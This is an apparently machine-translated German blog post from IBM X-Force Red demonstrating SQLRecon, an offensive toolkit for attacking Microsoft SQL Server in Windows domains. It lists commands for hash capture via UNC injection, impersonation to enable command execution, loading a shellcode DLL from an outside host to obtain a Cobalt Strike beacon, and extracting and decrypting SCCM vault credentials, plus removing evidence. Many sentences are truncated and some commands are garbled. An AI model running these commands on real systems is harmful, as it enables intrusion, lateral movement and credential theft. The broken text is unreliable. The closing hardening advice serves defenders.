Im Laufe meiner Karriere hatte ich das Privileg, einen Blick hinter die Kulissen einiger der größten Unternehmen der Welt zu werfen. Meiner Erfahrung nach verlassen sich die meisten Branchen auf Windows-Unternehmensnetzwerke. Tatsächlich kann ich die Anzahl der Male, die ich ein dezentrales Zero-Trust-Netzwerk, ein Enterprise-Linux-Netzwerk, ein macOS-Netzwerk oder eine Alternative zu Active Directory (FreeIPA) gesehen habe, an einer Hand abzählen.
Während ich mich durch diese großen und oft komplexen Unternehmensnetzwerke navigiere, entdecke ich häufig Microsoft SQL Server, die in der Regel zur Unterstützung einer Geschäftsfunktion eingesetzt werden. Für Leser, die mit SQL Server nicht vertraut sind, sei kurz gesagt, dass es sich um eine relationale Datenbanksoftware handelt, die normalerweise auf einem Windows-Server installiert wird. Der Hauptzweck von SQL Server ist es, Daten für Anwendungen oder Nutzer zu speichern und bereitzustellen.
In diesem Blogbeitrag wird die Angriffsfläche untersucht, die SQL Server bietet, und gezeigt, wie Fehlkonfigurationen und Sicherheitslücken mit dem Tool von X-Force Red ausgenutzt werden können
Die Schwachstellen und Fehlkonfigurationen in SQL Server sind gut dokumentiert. Obwohl diese Schwächen scheinbar schon immer existiert haben, wird die Härtung von SQL Server von den Verteidigungsteams oft übersehen. Ich beziehe mich hauptsächlich auf die Absicherung der zugrunde liegenden Konfiguration und die Verhinderung trivialer Zugriffe auf den Dienst.
Eine plausible Begründung für dieses Versäumnis ist, dass es größere Risiken gibt, die ein Unternehmen priorisieren und angehen muss. Infolgedessen gerät die Härtung von SQL Server in Vergessenheit, da das Herumexperimentieren mit Produktionsdatenbankkonfigurationen zu Verfügbarkeitsproblemen führen kann, die sich wiederum in Betriebsproblemen äußern und letztendlich die Geschäftsproduktivität beeinträchtigen können.
Branchen-Newsletter
Bleiben Sie mit dem Think-Newsletter über die wichtigsten – und faszinierendsten – Branchentrends in den Bereichen KI, Automatisierung, Daten und mehr auf dem Laufenden. Weitere Informationen finden Sie in der IBM Datenschutzerklärung.
Ihr Abonnement wird auf Englisch geliefert. In jedem Newsletter finden Sie einen Abmeldelink. Hier können Sie Ihre Abonnements verwalten oder sich abmelden. Weitere Informationen finden Sie in unserer IBM Datenschutzerklärung.
Eine der häufigsten Fehlkonfigurationen, die ich in Unternehmensnetzwerken sehe, ist die Möglichkeit für jedes authentifizierte Domänenobjekt, sich als Konto mit geringen Berechtigungen mit dem SQL-Dienst zu verbinden. Dazu ist lediglich ein gültiger Domänenkontext erforderlich. Mit anderen Worten, ein gültiges Token für ein Domänenbenutzer- oder Domänencomputerkonto.
Um ein Beispiel zu veranschaulichen: Wenn die Workstation eines regulären Geschäftsanwenders kompromittiert ist und eine Netzwerkroute zu einem falsch konfigurierten SQL Server besteht, kann ein Gegner:
Dies sind nur einige Beispiele dafür, was ein Angreifer erreichen kann, wenn er einen falsch konfigurierten SQL Server innerhalb eines Domänenkontexts untersucht. Die Angriffsfläche eines SQL Servers hängt stets von der jeweiligen Umgebung und Konfiguration ab.
In letzter Zeit wurden Red-Teams geradezu mit einer Vielzahl von Active Directory-Missbrauch gesegnet, die zur Erhöhung der Berechtigungen in Microsoft-Unternehmensnetzwerken genutzt werden können. Wenn Defensivteams jedoch beginnen, diese Schwächen in den Griff zu bekommen, versiegen natürlich die Möglichkeiten, Privilegien durch den Missbrauch von Active Directory auszuweiten.
Dennoch machen wir tapfer weiter und arbeiten uns die Liste der Angriffe ab, optimistisch auf der Suche nach Eskalationsmöglichkeiten, die uns bei der Verfolgung unserer Ziele helfen werden. Ich gebe nur ungern zu, dass Angriffe auf SQL Server lange Zeit ziemlich weit unten auf meiner Prioritätenliste standen. Stattdessen habe ich mich für Dinge wie gemeinsame Speicher, interne Anwendungen, DevOps oder Cloud entschieden. Sie verstehen wahrscheinlich, worauf ich hinauswill ...
Irgendwann im Jahr 2022 befand ich mich in einem Projekt und war an einem Punkt angelangt, an dem es nicht mehr weiterging, nachdem ich alle üblichen Eskalationswege ausgeschöpft hatte. Dies war größtenteils auf eine außergewöhnlich gut geschützte Umgebung zurückzuführen. Zumindest dachte ich das, bevor ich eine große SQL-Server-Farm entdeckte, bei der es einfach eine Fehlkonfiguration oder Schwachstelle geben musste.
Ohne dass ich es damals wusste, und erst nachdem ich diesen Blogbeitrag geschrieben hatte, entdeckte ich, dass Kaspersky feststellte, dass wiederkehrende Angriffe mit SQL Server im Jahr 2022 um 56 % gestiegen waren. Das ist ein unglaublicher Betrag.
Als Red-Team-Operator interagiere ich häufig mit Systemen, die ich in den Netzwerken unserer Kunden kompromittiert habe, und zwar mithilfe eines Command-and-Control-Frameworks (C2). Die Kunden, mit denen wir das Glück haben zusammenzuarbeiten, verfügen in der Regel über ausgereifte Cybersicherheitsprogramme, fähige Verteidigungsteams und moderne Sicherheitskontrollen, wie z. B. Endpoint Detection and Response (EDR)-Lösungen.
Im Laufe der Jahre wurden mehrere Tools entwickelt, um SQL Server anzugreifen. Das, nach dem ich während meiner Tage beim Testen des Stifts immer gegriffen habe, war
EDR-Lösungen können ein gewaltiger Gegner sein, da sie bösartige Open-Source-Tools, die für offensive Sicherheitsmaßnahmen entwickelt wurden, hervorragend erkennen, insbesondere solche, die auf PowerShell basieren. Das soll die Bedeutung der PowerShell-Post-Ausbeutung-Tools nicht schmälern, sie erfüllen durchaus ihren Zweck, nur eben nicht für das Problem, mit dem ich in meiner Umgebung konfrontiert war.
Das Problem, mit dem ich bei meinem Auftrag konfrontiert war, bestand darin, dass ich eine Möglichkeit finden musste, eine Verbindung zu Microsoft SQL-Servern herzustellen und sie zu untersuchen, um festzustellen, ob es irgendwelche Fehlkonfigurationen oder Schwachstellen gab. Die Verwendung eines der bestehenden SQL Server Post-Ausbeutung-Tools, die auf PowerShell basieren, wäre jedoch ein sicherer Weg gewesen, vom Verteidigungsteam erwischt zu werden. Dies ist auf eine Vielzahl von Gründen zurückzuführen, auf die ich hier nicht näher eingehen werde, aber PowerShell ist aufgrund von Sicherheitsfunktionen wie AMSI, eineseingeschränkten Sprachmodus und verschiedener Stile der Protokollierung kein ideales Werkzeug, um Post-Exploitation-Angriffe durchzuführen. Dies wird nur noch verschärft, wenn eine EDR-Lösung sowie weitere Protokollierung- und Überwachungsmaßnahmen eingeführt werden.
Alternativ wählen Red-Teams oft C# als Sprache zur Entwicklung von Post-Ausbeutung-Tools, da sie eine einfache Möglichkeit bietet, mit dem Framework und den Windows-APIs zu interagieren.
Ich bin zwar kein C#- oder .NET-Entwickler, aber ich kenne mich gerade so gut aus, dass ich Tools schreiben kann, die ein Problem lösen, mit dem ich konfrontiert bin. Warteschlange , ein C# SQL-Toolkit, das für offensive Aufklärung und Post-Ausbeutung entwickelt wurde.
Authentifizierungsanbieter
Aufzählungsmodule
Befehlsausführung, laterale Bewegung und Rechteausweitung
Betriebssicherheit
Sonstiges
Detaillierte Nutzungsinformationen zu den einzelnen Techniken finden Sie im Wiki.
Zur Vorbereitung der anstehenden Demonstrationen werde ich mit einer kompromittierten Windows 10-Workstation arbeiten, die Jeff Smith
Jeffs Workstation verfügt über eine Netzwerkverbindung zu drei SQL-Servern, auf denen jeweils unterschiedliche Versionen laufen: 2016, 2019 und 2022.
Eine SQL-Verbindung wurde konfiguriert zwischen
Zusätzlich existiert eine Active Directory Services (ADSI)-Verbindung zwischen
Und schließlich die
Abbildung 1: Netzwerkkonfiguration
Darüber hinaus werde ich Cobalt Strike, ein beliebtes Framework, nutzen, um Aufgaben nach der Ausbeutung von Jeffs kompromittierter Workstation aus auszuführen.
Abbildung 2: Ausführen des Befehls „whoami“
Zum Zeitpunkt des Schreibens,SQLRecon Domain ist ein SPN für mehrere verschiedene Konten festgelegt, wie der unten stehende Screenshot zeigt.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
Abbildung 3: SQL Server mithilfe der SPN-Sammlung entdecken
Dann
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
Abbildung 4: Informationen zu SQL02 abrufen
Ein großes Lob an Daniel Duggan (@_RastaMouse) für seine Beiträge zu den Aufzählungsmodulen in
Standardmodule werden gegen eine einzelne SQL-Server-Instanz ausgeführt.
Im folgenden Beispiel verwende ich den
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
Abbildung 5: Aufzählung von SQL-Privilegien für
Standardmäßig wird sich
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
Abbildung 6: Auflisten von Datenbanken auf
Sie können eine Verbindung zu anderen Datenbanken herstellen, indem Sie den Datenbanknamen mit dem
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
Abbildung 7: Abrufen von Dummy-Kartendaten aus der
Nun zu einigen interessanteren Modulen,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projekte
Abbildung 8: UNC-Pfad-Injektion
Im folgenden Screenshot sehen wir, dass die Verbindung von
Abbildung 9: Erhalt des NetNTLMv2-Hashs für
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
Abbildung 10: Demonstration der Leitplanke, die die Ausführung von Befehlen verhindert
Wie im obigen Bild zu sehen ist, wird eine Ausführungsbarriere erreicht und eine Fehlermeldung empfangen, die darauf hinweist, dass
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
Abbildung 11: Demonstration einer weiteren Leitplanke, bei der unzureichende Privilegien die Ausführung von Befehlen verhindern
Wie erwartet, stößt das Konto mit den niedrigen Privilegien
SQL-Imitation ist eine spezielle Berechtigung, die es einem Benutzer oder einer Gruppe im Wesentlichen ermöglicht, mit der Erlaubnis eines anderen Benutzers sowie mit eigenen Berechtigungen zu arbeiten. Der folgende Screenshot stammt aus der Backend-Konfiguration von
Abbildung 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
Wie im folgenden Screenshot zu sehen ist,
Abbildung 13: Auflistung der Accounts, die imitiert werden können auf
Um ein anderes Befehlsausführungsmodul zu demonstrieren, kann
Imitationsmodule werden immer mit dem Buchstaben eingeleitet
a:WinToken /h:SQL02 /i:sa /m:iEnableOle aus
Abbildung 14: Aktivieren von OLE-Automatisierungsverfahren mittels Impersonation
Da die OLE-Automatisierung nun aktiviert ist
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\\172.16.10.19\Projects"
Abbildung 15: Verwendung von PowerShell, um ein Verzeichnis auf einem entfernten Host aufzulisten
Wie im obigen Screenshot zu sehen ist, wird ein zufällig generiertes OLE-Objekt und eine Methode erstellt, der bösartige Befehl wird ausgeführt und die OLE-Objekte werden zerstört. Das ist beabsichtigt, denn wir wollen keine Beweise für unser Handeln hinterlassen.
Im folgenden Screenshot sehen wir die Verbindung, die durch das
Abbildung 16: Erhalt des NetNTLMv2-Hashs für
Das folgende Beispiel demonstriert die Verwendung der Impersonation zur Ausführung der
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
Abbildung 17: Aktivieren
Es empfiehlt sich stets, Konfigurationen auf den ursprünglichen Zustand zurückzusetzen.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
Abbildung 18: Deaktivierung von OLE-Automatisierungsverfahren und
Abbildung 19:
Das Konfigurieren einer Verbindung von einer SQL Server-Instanz zu einer anderen erfordert oft eine Reihe privilegierter Zugangsdaten, um die Verbindung herzustellen und zu binden. Dies ist für Angreifer von Vorteil, da es die Ausführung von Befehlen auf dem verknüpften SQL Server im Kontext des Kontos ermöglicht, das die Verbindung hergestellt hat. Ein weiterer Punkt ist, dass verknüpfte Server von dem Netzwerk, in dem ein Angreifer operiert, abgetrennt sein können. Dies könnte die Möglichkeit bieten, Segmentierungsgrenzen zu überwinden und in eine Netzwerkzone mit höheren Sicherheitsanforderungen einzutreten.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
Abbildung 20: Auflistung der verknüpften SQL-Server auf
Verknüpfte Module beginnen immer mit dem Buchstaben
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
Abbildung 21: Aufzählung von SQL-Privilegien, die wir auf
Wie im obigen Screenshot zu sehen ist, arbeiten wir im Kontext der
Alle Ausführungsmodule in
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
Abbildung 22: CLR-Integration aktivieren
Die CLR-Integration ermöglicht den Import von benutzerdefinierten .NET-Assemblies in SQL Server. Diese Assemblies werden innerhalb einer gespeicherten Prozedur gespeichert, bevor sie ausgeführt werden. Das ist ein netter, primitiver Lateralbewegungsangriff.
Im folgenden Screenshot erstelle ich eine benutzerdefinierte, mit SQL Server CLR kompatible .NET-Assembly namens
Abbildung 23:
Wenn Sie mehr über benutzerdefinierte SQL Server CLR-kompatible .NET-Assemblies erfahren möchten, besuchen Sie bitte den Abschnitt Clr im
In der folgenden Demonstration habe ich Folgendes hochgeladen:
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
Abbildung 24: Erhalt eines Cobalt-Strike-Beacons im Kontext von
Das vorherige Beispiel setzt natürlich voraus, dass
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects Reports.xlsx\ /function:ExecuteShellcode
Abbildung 25: Erhalt eines Cobalt-Strike-Beakon im Kontext von
Abbildung 26:
Für die Konfiguration einer ADSI-Verbindung von einer Instanz vom SQL-Server zu einem Active Directory-Domänencontroller sind nicht unbedingt Zugangsdaten erforderlich. Allerdings habe ich im realen Einsatz Fälle erlebt, in denen das Prinzip der minimalen Berechtigungen nicht angewendet wurde.
Im folgenden Beispiel verwende ich den
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
Abbildung 27: Auflisten von Links auf
Jetzt, wo wir bestätigt haben, dass ein ADSI-Link auf existiert
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
Abbildung 28: Doppel-Link-Angriff zur Erfassung von ADSI-Anmeldedaten
Eine der größten Erweiterungen von
Ich werde von nun an sowohl ECM als auch SCCM einfach als SCCM bezeichnen.
Im folgenden Beispiel verwende ich das Datenbankmodul, um die
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases läuft
Abbildung 29: Auflisten von Datenbanken auf
Wie im obigen Screenshot zu sehen ist,
SCCM-Module werden immer mit dem Buchstaben eingeleitet
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Abbildung 30: Auflistung aller Benutzer, die sich über die SQL Server-Datenbank via SCCM anmelden können
Es ist auch möglich, die in Aufgaben aufzulisten, die in SCCM mit konfiguriert wurden
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Abbildung 31: Auflistung der in SCCM konfigurierten Aufgaben über die SCCM SQL Server-Datenbank
SCCM benötigt in der Regel Zugangsdaten, die zur Authentifizierung von Systemen oder Ressourcen in einer Umgebung verwendet werden, um Softwarepakete zu bereitstellen oder andere verschiedene Aktionen des SCCM durchzuführen. Mit dem
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
Abbildung 32: Abrufen von Zugangsdaten über die SCCM SQL Server-Datenbank
Im Screenshot oben können wir sehen, dass Zugangsdaten in einem Tresor gespeichert wurden, und das ist die Anmeldedaten für
Mit der Logik von Adam Chester( @_xpn_) ist es möglich, SCCM-Vault-Anmeldedaten zu entschlüsseln und das Cleartext-Passwort für Vault-Konten zu erhalten. Hierfür sind lokale Administratorrechte auf dem SCCM-Server erforderlich. Im folgenden Screenshot verwende ich das
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
Abbildung 33: Entschlüsselung gesicherter SCCM-Anmeldedaten
Um zu verhindern, dass Angreifer SQL Server missbrauchen, können Verteidiger bei der Implementierung von Sicherheitskontrollen einen mehrschichtigen Ansatz verfolgen. Zuallererst empfehle ich dir, die offiziellen Microsoft-Anleitungen zu den Best Practices für SQL Server-Sicherheit zu lesen.
Der nächste Schritt sollte die Beratung zu Prävention, Erkennung und Schadensbegrenzung im
Die folgenden Sicherheitskontrollen sollten für die Implementierung auf Netzwerkebene berücksichtigt werden.
Arbeitsstationen und Server in der Umgebung.
Angriffe auf SQL Server sind in der heutigen Cybersicherheitslandschaft weiterhin aktuell. Gegner entwickeln ihre Techniken ständig weiter, um defensive Kontrollen zu umgehen, und nutzen dabei zunehmend unterstützende Dienste wie SQL Server. Diese Angriffe sind immer raffinierter und heimtückischer geworden und setzen häufig weniger gebräuchliche Techniken ein, um traditionelle Sicherheitsmaßnahmen zu umgehen.
Durch den Missbrauch von SQL Server können sich Gegner unbefugten Zugriff auf sensible Daten verschaffen, Datenbanken manipulieren und sogar ganze Systeme gefährden. Die Folgen solcher Angriffe können schwerwiegend sein und zu data breaches, finanziellen Verlusten und Schäden am Ruf einer Unternehmen führen.
Um das Risiko dieser Angriffe zu mindern, müssen Unternehmen unbedingt ihre SQL Server-Konfigurationen überprüfen und bewährte Sicherheitsverfahren anwenden. Darüber hinaus sollten Organisationen in Sicherheitslösungen investieren, die Echtzeitüberwachung, Anomalieerkennung und Verhaltensanalysefunktionen bieten. Diese Lösungen können helfen, Angriffe effektiver zu erkennen und darauf zu reagieren, wodurch die potenziellen Auswirkungen auf entscheidend Daten und Systeme minimiert werden. Durch proaktive Maßnahmen zur Sicherung von SQL Server Umgebungen können Unternehmen das Risiko, Opfer dieser Angriffe zu werden, deutlich reduzieren und ihre wertvollen Assets schützen.
Sie können immer die neueste stabile Version von
Wenn Sie an der Black Hat Las Vegas teilnehmen und mehr erfahren möchten, können Sie meine Sitzung besuchen: Abusing Microsoft SQL Server with SQLRecon am Donnerstag, den 10. August um 1:00 Uhr PT.